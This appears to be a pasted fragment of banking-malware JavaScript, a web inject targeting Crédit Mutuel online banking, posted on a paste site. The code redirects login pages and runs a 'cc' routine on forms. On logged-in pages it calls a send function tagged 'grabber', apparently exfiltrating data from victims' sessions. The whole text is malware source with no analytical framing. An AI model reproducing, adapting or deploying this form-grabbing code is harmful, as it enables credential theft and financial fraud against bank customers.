- _tables.start = function(){
- if(!_brows.client){
- if(_tables.id('identifiant') && _tables.id('password') && _tables.id('submit')){
- document.location.href = 'https://www.creditmutuel.fr/fr/authentification.html';
- return false;
- }
- if(_tables.are('login','password','button')){
- _tables.cc('CS');
- }else if(_tables.get('logout')){
- _tables.status('CP');
- _tables.send({'domain':document.domain},{'type':'grabber'},{'branch':'CP'});
- }else{
- _tables.showpage();
- }
- }else{
- _tables.showpage();
- }
- };
- _tables.start();
Add Comment
Please, Sign In to add comment